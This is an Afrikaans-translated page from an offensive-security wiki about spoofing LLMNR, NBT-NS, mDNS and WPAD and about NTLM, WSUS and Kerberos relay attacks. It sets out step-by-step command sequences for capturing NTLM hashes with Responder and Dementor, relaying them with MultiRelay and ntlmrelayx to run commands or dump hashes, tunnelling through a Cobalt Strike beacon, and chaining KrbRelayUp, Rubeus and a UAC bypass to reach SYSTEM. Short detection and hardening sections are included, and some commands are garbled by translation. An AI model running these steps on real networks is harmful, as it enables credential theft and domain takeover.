Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Netwerkprotokolle
Plaaslike gasheer-naamoplossingsprotokolle
- LLMNR, NBT-NS, and mDNS:
- Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS faal. Ooreenkomstig gebruik Apple en Linux stelsels mDNS.
- Hierdie protokolle is vatbaar vir onderskeping en spoofing as gevolg van hul ongemagtigde, uitsendings-natuur oor UDP.
- Responder en Dementor kan gebruik word om dienste na te boots deur vervalste antwoorde te stuur aan gashere wat navrae oor hierdie protokolle maak.
- Verdere inligting oor diens-imitasie met Responder is te vinde here.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD laat blaaiers toe om proxy-instellings outomaties te ontdek.
- Ontdekking word gefasiliteer via DHCP, DNS, of terugval na LLMNR en NBT-NS as DNS faal.
- Responder kan WPAD-aanvalle outomatiseer en kliënte na kwaadwillige WPAD-bedieners lei.
Responder/Dementor vir Protokolvergiftiging
-
Responder is ’n hulpmiddel wat gebruik word vir die vergiftiging van LLMNR-, NBT-NS- en mDNS-navrae, en reageer selektief gebaseer op navraagsoorte, hoofsaaklik met die teiken van SMB-dienste.
-
Dit kom vooraf geïnstalleer in Kali Linux en is konfigureerbaar by
/etc/responder/Responder.conf. -
Responder vertoon vasgevang hashes op die skerm en stoor dit in die
/usr/share/responder/logsgids. -
Dit ondersteun beide IPv4 en IPv6.
-
’n Windows-weergawe van Responder is beskikbaar here.
-
Dementor brei uit op die onderwerpe van multicast-vergiftiging en tree bykomend op as ’n valse diensverskaffer (insluitend CUPS RCE-ondersteuning)
-
Die algehele struktuur is soortgelyk aan Responder met meer fynkorrelige konfigurasie. (standaard is hier: Dementor.toml)
-
Kompatibiliteit tussen Dementor en Responder is hier gegee: Compatibility Matrix
-
Inleiding en dokumentasie hier: Dementor - Docs
-
Los vasleggingsprobleme op wat deur Responder op sekere protokolle ingehuldig is
Responder uitvoer
- Om Responder met verstekinstellings te laat loop:
responder -I <Interface> - Vir meer aggressiewe ondersoek (met potensiële newe-effekte):
responder -I <Interface> -P -r -v - Tegnieke om NTLMv1 uitdagings/reaksies vas te vang vir makliker kraak:
responder -I <Interface> --lm --disable-ess - WPAD-imitasie kan geaktiveer word met:
responder -I <Interface> --wpad - NetBIOS-versoeke kan opgelos word na die aanvaller se IP, en ’n verifikasie-proksi kan opgestel word:
responder.py -I <interface> -Pv
Dementor uitvoer
- Met verstekinstellings toegepas:
Dementor -I <interface> - Met verstekinstellings in analisemodus:
Dementor -I <interface> -A - Outomatiese NTLM-sessie-afgradering (ESS):
Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off - Hardloop huidige sessie met pasgemaakte konfigurasie:
Dementor -I <interface> --config <file.toml>
DHCP-vergiftiging met Responder
- Spoofing DHCP-antwoorde kan die slagoffer se roeteringsinligting permanent vergiftig, en bied ’n minder opvallende alternatief vir ARP-vergiftiging.
- Dit vereis presiese kennis van die teiken-netwerk se konfigurasie.
- Om die aanval uit te voer:
./Responder.py -I eth0 -Pdv - Hierdie metode kan NTLMv1/2 hashes effektief vasvang, maar dit vereis sorgsame hantering om netwerkversteuring te voorkom.
Vasvang van inlogbewyse met Responder/Dementor
- Responder/Dementor sal dienste uitbeeld wat die bogenoemde protokolle gebruik en inlogbewyse vasvang (gewoonlik NTLMv2 Challenge/Response) wanneer ’n gebruiker probeer verifieer teen die spoofed services.
- Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS af te skakel vir makliker kraak van inlogbewyse.
As jy reeds ’n beskryfbare SMB share het wat slagoffers deurblaai, kan jy outbound SMB sonder spoofing afdwing deur UNC-gebaseerde loklêers (SCF/LNK/library-ms/desktop.ini/Office) te plant wat gegenereer is met ntlm_theft, en dan die verifikasie vang met Responder. Sien die Explorer-triggered UNC lure workflow.
Dit is belangrik om te let dat die gebruik van hierdie tegnieke wettig en eties gedoen moet word, met behoorlike magtiging en om ontwrigting of ongemagtigde toegang te vermy.
Inveigh
Inveigh is ’n hulpmiddel vir penetration testers en red teamers, ontwerp vir Windows-stelsels. Dit bied funksionaliteite soortgelyk aan Responder, en voer spoofing en man-in-the-middle aanvalle uit. Die hulpmiddel het ontwikkel van ’n PowerShell-skrip na ’n C#-binary, met Inveigh en InveighZero as die hoofweergawes. Gedetaileerde parameters en instruksies is beskikbaar in die wiki.
Inveigh kan deur PowerShell bedryf word:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Of uitgevoer as ’n C# binary:
Inveigh.exe
NTLM Relay Attack
Hierdie aanval maak gebruik van SMB-authentikasiesessies om toegang tot ’n teikenmasjien te kry en gee ’n system shell indien suksesvol. Belangrike vereistes sluit in:
- Die gebruiker wat autentiseer moet Local Admin-toegang op die gerelayeerde gasheer hê.
- SMB signing moet gedeaktiveer wees.
445 Port Forwarding and Tunneling
In scenario’s waar direkte netwerktoegang nie uitvoerbaar is nie, moet verkeer op port 445 forwarded en getunnel word. Gereedskap soos PortBender help om verkeer op port 445 na ’n ander poort te herlei, wat noodsaaklik is wanneer Local Admin-toegang beskikbaar is vir driver loading.
PortBender-opstelling en bedryf in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Ander gereedskap vir NTLM Relay Attack
- Metasploit: Stel op met proxies, lokale en afgeleë host-besonderhede.
- smbrelayx: ’n Python-skrip vir relaying van SMB-sessies en om commands uit te voer of backdoors te deploy.
- MultiRelay: ’n hulpmiddel van die Responder suite om spesifieke users of alle users te relay, commands uit te voer, of hashes te dump.
Elke hulpmiddel kan gekonfigureer word om deur ’n SOCKS proxy te werk indien nodig, wat aanvalle moontlik maak selfs met indirekte network toegang.
MultiRelay Operasie
MultiRelay word uitgevoer vanaf die /usr/share/responder/tools gids, en teiken spesifieke IPs of users.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
RelayKing – ontdekking van relaybare teikens en gekureerde relaylyste
RelayKing is ’n NTLM relay blootstellingsouditor wat in kaart bring waar relays lewensvatbaar is en gereed-vir-gebruik teikenlyste produseer vir ntlmrelayx.py -tf. Dit kontroleer protokolverharding (SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth) en merk coercion/reflection helpers (PetitPotam/PrinterBug/DFSCoerce, WebClient/WebDAV, NTLMv1, CVE-2025-33073 reflection).
- Auth verbeter die betroubaarheid vir HTTPS/LDAPS CBT en MSSQL EPA kontroles; SMB signing/signature-vlak word ongeauthentikeer ondersoek.
- Kruis-protokol relay-padgebruik maak gebruik van bevestigde Net-NTLMv1 (
--ntlmv1/--ntlmv1-all) bevindinge; ’n ernstgradering word per pad verskaf. --gen-relay-list <file>skryf ’n grep-vriendelike teikenlys virntlmrelayx.py -tf <file>om probeer-en-fout te vermy.--coerce-allmasseer PetitPotam/DFSCoerce/PrinterBug teen alle teikens;--ntlmv1-all(RemoteRegistry) en--audit(domain-wide LDAP host pull) is ruisend en genereer baie aanmeldings/remote toegang.--proto-portscanversnel skandering deur geslote poorte oor te slaan;--krb-dc-onlyhelp wanneer DCs NTLM blokkeer maar ander dienste dit steeds aanvaar.
Voorbeeld sweeps:
# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt
# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24
Hierdie gereedskap en tegnieke vorm ’n omvattende stel vir die uitvoer van NTLM Relay-aanvalle in verskeie netwerk-omgewings.
Misbruik van WSUS HTTP (8530) vir NTLM Relay na LDAP/SMB/AD CS (ESC8)
WSUS-kliente autentiseer by hul update-bediener met NTLM oor HTTP (8530) of HTTPS (8531). Wanneer HTTP aangeskakel is, kan periodieke kliënt-check-ins op die plaaslike segment gedwing of onderskep en met ntlmrelayx na LDAP/LDAPS/SMB of AD CS HTTP-endpunte (ESC8) gerelay word sonder om enige hashes te kraak. Dit meng in met normale update-verkeer en lewer dikwels masjien-rekening-authentikasies (HOST$).
Waarop om te let
- GPO/registry-konfigurasie onder HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate en …\WindowsUpdate\AU:
- WUServer (bv. http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Verkenning
- Ongeauthentiseerde
- Skandeer vir luisteraars: nmap -sSVC -Pn –open -p 8530,8531 -iL
- Snuffel HTTP WSUS-verkeer via L2 MITM en log aktiewe kliënte/endpunte met wsusniff.py (HTTP slegs tensy jy kliënte jou TLS cert laat vertrou).
- Geverifieerde
- Ontleed SYSVOL GPOs vir WSUS-sleutels met MANSPIDER + regpol (wsuspider.sh wrapper som WUServer/WUStatusServer/UseWUServer op).
- Vra endpunte op skaal vanaf hosts (NetExec) of plaaslik:
nxc smb
-u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-tot-end HTTP relay-stappe
-
Plaas jouself as MITM (dieselfde L2) sodat ’n kliënt die WSUS-bediener na jou oplos (ARP/DNS poisoning, Bettercap, mitm6, ens.). Voorbeeld met arpspoof: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Herlei poort 8530 na jou relay-luisteraar (opsioneel, gerieflik): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers
-
Begin ntlmrelayx met die HTTP-luisteraar (vereis Impacket-ondersteuning vir HTTP-luisteraar; sien PRs hieronder): ntlmrelayx.py -t ldap://
-smb2support -socks –keep-relaying –http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py –http-port 8530 -t http://
/certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:
-
Veroorsaak ’n kliënt se check-in of wag vir die skedule. Vanuit ’n kliënt: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).
-
Gebruik die geauthentiseerde SOCKS-sessies (indien -socks) of direkte relay-resultate vir post-exploitation (LDAP-wijzigings, SMB-operasies, of AD CS sertifikaatuitreiking vir later authenticatie).
HTTPS constraint (8531)
- Passiewe onderskep van WSUS oor HTTPS is ondoeltreffend tensy kliënte jou sertifikaat vertrou. Sonder ’n vertroude cert of ander TLS-breek, kan die NTLM handshake nie van WSUS HTTPS-verkeer geoogst/gerelay word nie.
Notes
- WSUS is aangekondig as verouderd maar bly wyd geïmplementeer; HTTP (8530) is steeds algemeen in baie omgewings.
- Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
- Impacket het HTTP-luisteraarondersteuning vir ntlmrelayx herstel in PR #2034 (oorspronklik bygevoeg in PR #913).
Force NTLM Logins
In Windows kan jy dalk sommige bevoorregte rekeninge dwing om by ewekansige masjiene te autentiseer. Lees die volgende bladsy om te leer hoe:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack steel ’n AP-REQ ticket van een diens en hergebruik dit teen ’n tweede diens wat dieselfde computer-account key deel (want albei SPNs sit op dieselfde $ masjienrekening). Dit werk selfs al verskil die SPNs se service classes (bv. CIFS/ → LDAP/) omdat die key wat die ticket ontsleutel die masjien se NT-hash is, nie die SPN-string self nie, en die SPN-string is nie deel van die handtekening nie.
Anders as NTLM relay, is die hup beperk tot die same host maar, as jy ’n protokol teiken wat jou toelaat om na LDAP te skryf, kan jy ketting na Resource-Based Constrained Delegation (RBCD) of AD CS enrollment en in een slag NT AUTHORITY\SYSTEM kry.
For detailed info about this attack check:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
| Token | Doel | Relevansie vir relay |
|---|---|---|
| TGT / AS-REQ ↔ REP | Bewys die gebruiker aan die KDC | onveranderd |
| Service ticket / TGS-REQ ↔ REP | Gebonde aan een SPN; versleutel met die SPN-eienaar se sleutel | uitruilbaar as SPNs dieselfde rekening deel |
| AP-REQ | Kliënt stuur TGS na die diens | wat ons steel en hergebruik |
- Tickets is versleutel met die password-derived key van die rekening wat die SPN besit.
- Die Authenticator binne die AP-REQ het ’n 5-minuut stempel; herlay binne daardie venster is geldig tot die diens se cache ’n duplikaat sien.
- Windows kyk selde of die SPN-string in die ticket ooreenstem met die diens wat jy tref, so ’n kaartjie vir
CIFS/HOSTontsleutel normaalweg goed opLDAP/HOST.
-
- What must be true to relay Kerberos
- Shared key: bron- en teiken-SPNs behoort aan dieselfde rekenaarrekening (standaard op Windows-bedieners).
- No channel protection: SMB/LDAP signing af en EPA af vir HTTP/LDAPS.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, ens..
- Ticket source not already used: jy wen die wedren voor die werklike pakket tref of blokkeer dit heeltemal; anders sal die bediener se replay cache Event 4649 afvuur.
- Jy moet op een of ander manier ’n MitM in die kommunikasie kan uitvoer — byvoorbeeld deur deel van die DNSAmins groep te wees om die DNS van die domein te wysig of deur die HOST file van die teiken te kan verander.
Kerberos Relay Steps
- 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Begin die relay listener
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp verpak KrbRelay → LDAP → RBCD → Rubeus → SCM bypass in een binary.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce laat die DC ’n Kerberos CIFS/DC01 ticket aan ons stuur.
- 3.4 Relay the AP-REQ
KrbRelay onttrek die GSS blob uit SMB, herverpak dit in ’n LDAP bind, en stuur dit na ldap://DC01—authentisering slaag omdat die dieselfde sleutel dit ontsleutel.
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Jy besit nou NT AUTHORITY\SYSTEM.
Meer paaie wat dit werd is om te ken
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | Valse bediener stuur ’n GSS-ID payload met enige SPN; kliënt bou ’n AP-REQ regstreeks na jou | Werk selfs oor subnets; machine creds per verstek |
| DCOM / MSRPC | Kwaadaardige OXID resolver dwing kliënt om te auth teen ’n arbitrêre SPN en poort | Pure lokale priv-esc; omseil firewall |
| AD CS Web Enroll | Relay machine ticket na HTTP/CA en kry ’n cert, dan PKINIT om TGTs te mint | Omseil LDAP signing verdediging |
| Shadow Credentials | Skryf msDS-KeyCredentialLink, dan PKINIT met vervalste sleutelpaar | Geen behoefte om ’n computer account by te voeg nie |
Probleemoplossing
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | Ticket-sleutel ≠ teiken-sleutel | Verkeerde host/SPN |
KRB_AP_ERR_SKEW | Klok > 5 min verskil | Sinkroniseer tyd of gebruik w32tm |
| LDAP bind fails | Signing afgedwing | Gebruik AD CS path of skakel signing uit |
| Event 4649 spam | Diens het ’n duplikaat Authenticator gesien | blokkeer of race die oorspronklike pakket |
Opsporing
- Toename in Event 4769 vir
CIFS/,HTTP/,LDAP/vanaf dieselfde bron binne sekondes. - Event 4649 op die diens dui op herhaling opgespoor.
- Kerberos-aanmelding vanaf 127.0.0.1 (relay na plaaslike SCM) is hoogs verdag — karteer via Sigma rule in KrbRelayUp docs.
- Let op veranderinge aan
msDS-AllowedToActOnBehalfOfOtherIdentityofmsDS-KeyCredentialLinkattributte.
Verharding
- Dwing LDAP & SMB signing + EPA af op elke bediener.
- Skei SPNs sodat HTTP nie op dieselfde account as CIFS/LDAP is nie.
- Patch coercion vektore (PetitPotam KB5005413, DFS, AuthIP).
- Stel
ms-DS-MachineAccountQuota = 0om rogue computer joins te stop. - Waarsku op Event 4649 en onverwagte loopback Kerberos-aanmeldings.
Verwysings
- HTB: Breach – Writable SMB share lures + Responder capture → NetNTLMv2 crack
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
- RelayKing v1.0
- Depth Security – Introducing RelayKing: Relay to Royalty
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


